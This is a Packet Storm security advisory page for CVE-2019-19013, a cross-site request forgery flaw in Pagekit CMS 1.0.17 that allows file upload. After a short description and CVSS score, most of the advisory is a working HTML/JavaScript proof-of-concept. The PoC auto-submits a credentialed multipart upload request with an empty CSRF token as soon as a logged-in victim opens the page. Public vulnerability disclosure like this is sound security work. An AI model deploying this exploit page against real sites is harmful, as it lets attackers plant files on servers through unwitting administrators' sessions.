exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Pagekit CMS 1.0.17 Cross Site Request Forgery

Pagekit CMS 1.0.17 Cross Site Request Forgery
Posted Nov 21, 2019
Authored by Christian Bortone

Pagekit CMS version 1.0.17 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
advisories | CVE-2019-19013
SHA-256 | 7987a0501163511d8fe21b7e3dc5bfd9115ca88d9f4d5383cc8eda45e186eb53

Pagekit CMS 1.0.17 Cross Site Request Forgery

Change Mirror Download
Title:
====

Pagekit CMS 1.0.17 Cross-Site Request Forgery (CSRF) vulnerability


Credit:
======

Name: Christian Bortone


CVE:

====

CVE-2019-19013


Date:
====

11/18/2019 (dd/mm/yyyy)


Vendor:
======

Pagekit is a modern and lightweight open source CMS.

Vendor link: https://pagekit.com/


Vulnerable Product:
==============

Pagekit CMS 1.0.17


Abstract:
=======

Cross-Site Request Forgery (CSRF) vulnerability in Pagekit 1.0.17 could allow an attacker to upload arbitrary file by removing the CSRF token from the request.


Exploitation-Technique:
===================

Remote


Severity Rating (CVSS):
===================

4.6 (Medium) (CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N)


Details:
=======

A Cross-Site Request Forgery (CSRF) vulnerability is discovered in Pagekit CMS which allows a remote attacker to upload forged files on the server without victim's knowledge by enticing authenticated user to visit attacker page/URL. The specific flaw exists within the handling of request to upload file in the store section. The application failed to validate CSRF token on the POST request (the token can be remove from the request). The request also contain a second token (WebkitFormBoudary) not tied to the session user. An attacker with less privilege on the system can operate a CRSF attack

Vulnerable module/page/application: /site/storage (upload file)


PoC Exploit code:
----------------------------------------------------------------------------

<html>

<body>

<script>history.pushState('', '', '/')</script>

<script>

function submitRequest()

{

var xhr = new XMLHttpRequest();

xhr.open("POST", "http:\/\/localhost\/pagekit\/system\/finder\/upload", true);

xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundaryJze564AoGkbRRRUz");

xhr.setRequestHeader("Accept", "*\/*");

xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");

xhr.withCredentials = true;

var body = "------WebKitFormBoundaryJze564AoGkbRRRUz\r\n" +

"Content-Disposition: form-data; name=\"files[]\"; filename=\"test.jpg\"\r\n" +

"Content-Type: image/jpeg\r\n" +

"\r\n" +

"\r\n" +

"------WebKitFormBoundaryJze564AoGkbRRRUz\r\n" +

"Content-Disposition: form-data; name=\"path\"\r\n" +

"\r\n" +

"/\r\n" +

"------WebKitFormBoundaryJze564AoGkbRRRUz\r\n" +

"Content-Disposition: form-data; name=\"root\"\r\n" +

"\r\n" +

"storage\r\n" +

"------WebKitFormBoundaryJze564AoGkbRRRUz\r\n" +

"Content-Disposition: form-data; name=\"_csrf\"\r\n" +

"\r\n" +

"\r\n" +

"------WebKitFormBoundaryJze564AoGkbRRRUz--\r\n";

var aBody = new Uint8Array(body.length);

for (var i = 0; i < aBody.length; i++)

aBody[i] = body.charCodeAt(i);

xhr.send(new Blob([aBody]));

}

submitRequest();

</script>

<form action="#">

<input type="button" value="Submit request" onclick="submitRequest();" />

</form>

</body>

</html>


----------------------------------------------------------------------------
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close